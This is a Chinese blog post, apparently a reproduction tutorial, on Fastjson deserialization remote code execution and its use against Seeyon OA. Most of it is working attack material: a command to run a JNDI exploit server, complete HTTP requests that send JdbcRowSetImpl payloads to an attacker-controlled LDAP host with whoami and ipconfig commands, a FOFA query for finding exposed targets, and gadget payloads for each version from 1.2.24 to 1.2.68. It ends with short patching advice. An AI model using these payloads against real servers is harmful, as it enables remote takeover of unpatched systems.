相关文章推荐
爱听歌的风衣  ·  C#: Validate a ...·  1 周前    · 
发呆的洋葱  ·  MySQL ...·  1 年前    · 
坏坏的柿子  ·  /usr/include/c++/7/cst ...·  1 年前    · 
追风的花生  ·  pandas判断某值空值 - ...·  1 年前    · 

2021年进入网络安全行业,作为网络安全的小白,分享一些自学基础教程给大家。希望在自己能体系化的总结自己已有的知识的同时,能对各位博友有所帮助。文章内容比较基础,都是参考了很多大神的文章,各位不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力!
本文主要参考最新雷神众测的文章

漏洞详情
FastJson是啊里巴巴的开源库,主要用于对JSON格式的数据进行解析和打包,常见的RCE漏洞可利用版本从<1.2.24到<1.2.47在到<1.2.68等等
使用工具
在vps上执行以下代码,监听端口和设置本地ip,一般vps或者云服务器可直接设置成0.0.0.0。

java -jar JNDI.jar -i 0.0.0.0 -l 1389
POST 路径 HTTP/1.1
Host: url
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
cmd: whoami
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 208
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1399/TomcatBypass/TomcatEcho","autoCommit":true}}

致远OA fastjson漏洞

致远OA也用了这个开源库,因此最近有漏洞爆出
影响范围
FOFA:“seeyon” && region=“xxxx” && after=“2021-01-01”

V7.1、V7.1SP1
V7.0、V7.0SP1、V7.0SP2、V7.0SP3
V6.1、V6.1SP1、V6.1SP2
V6.0、V6.0SP1
V5.6、V5.6SP1
POST /seeyon/main.do?method=changeLocale HTTP/1.1
Host: 10.1.2.87
Content-Length: 221
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cmd: ipconfig
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=26FF8158707BB0896A3ACD66EB92DD41; loginPageURL=
Connection: close
_json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xxx.xxx.xxx:1289/TomcatBypass/TomcatEcho","autoCommit":true}}

JNDI影响范围:
1、rmi的利用方式:适用jdk版本:JDK 6u132、JDK 7u122、JDK 8u113之前
2、ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前

未报错poc

{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"x":{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}}
{"x":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}

报错,但仍有效

{"x":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"x":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"x":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}

报错,且返回400,但仍有效

{"x":Set[{"@type":"java.net.URL","val":"http://dnslog"}}
{"x":{{"@type":"java.net.URL","val":"http://dnslog"}:0}

Fastjson时间线和POC

fastjson<=1.2.24(CNVD-2017-02833)

{"v24":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

fastjson<=1.2.41

{"v41":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

fastjson<=1.2.42

{"v42":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

fastjson<=1.2.43

{"v43":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://0.0.0.0","autoCommit":true]}}}

fastjson<=1.2.45

{"v45":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"},"xxx":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://0.0.0.0"}}}

fastjson<=1.2.47(CNVD-2019-22238)

{"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

fastjson<=1.2.59

{"v59_error":{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://127.0.0.1"}}
{"v59_error":{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://127.0.0.1"}}

fastjson<=1.2.61

{"v61_error":{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://127.0.0.1"}}
{"v61_error":{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://127.0.0.1","Object":"a"}}

fastjson<=1.2.62

{"v62":{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://0.0.0.0"}}
{"v62_error":{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://0.0.0.0"}}}
{"v62_error":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://0.0.0.0"}}
{"v62_error":{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor","parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://0.0.0.0"},"namespace":""}}

fastjson<=1.2.66

{"v66":{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://0.0.0.0"],"Realms":[""]}}
{"v66":{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://0.0.0.0"}}
{"v66_error":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://0.0.0.0"}}
{"v66_error":{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://0.0.0.0"}}

fastjson<=1.2.68

写文件覆盖方法

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://0.0.0.0"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://0.0.0.0"}

自行准备:JNDI-Injection-Exploit

(https://github.com/welk1n/JNDI-Injection-Exploit)

使用方法不在过多介绍
dnslog初步探测

命令执行探测

有请求表示, ping命令执行成功

1.升级fastjson组件版本到最新
2.升级oa系统

原文链接:https://blog.csdn.net/Curry197/article/details/125090159Curry197 已于 2022-06-01 21:22:57 修改 2786 分类专栏: 漏洞复现 文章标签: 安全 web安全 网络 漏洞复现 专栏收录该内容 2 篇文章 0 订阅 订阅专栏参考链接:fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)_GeekCoderBrick的博客-CSDN博客_fastjson反序列化漏洞
对于 fastjson 反序列化安全漏洞,可以采取以下几个解决方法: 1.禁止使用 fastjson 进行反序列化,并使用其他 JSON 解析库,例如 Jackson 或 Gson。 2.升级 fastjson 至最新版本,因为 fastjson 团队会在新版本中修复已知的安全漏洞。 3.启用 fastjson 的一些安全配置,例如 ParserConfig.setSafeMode(true),该配置可以防止对象类型构建器和 getter/setter 非法访问,从而降低攻击面。 4.限制 fastjson 序列化/反序列化的输入和输出,例如限制反序列化的类路径或白名单等。这样可以减少攻击者利用反序列化漏洞进行代码执行的可能性。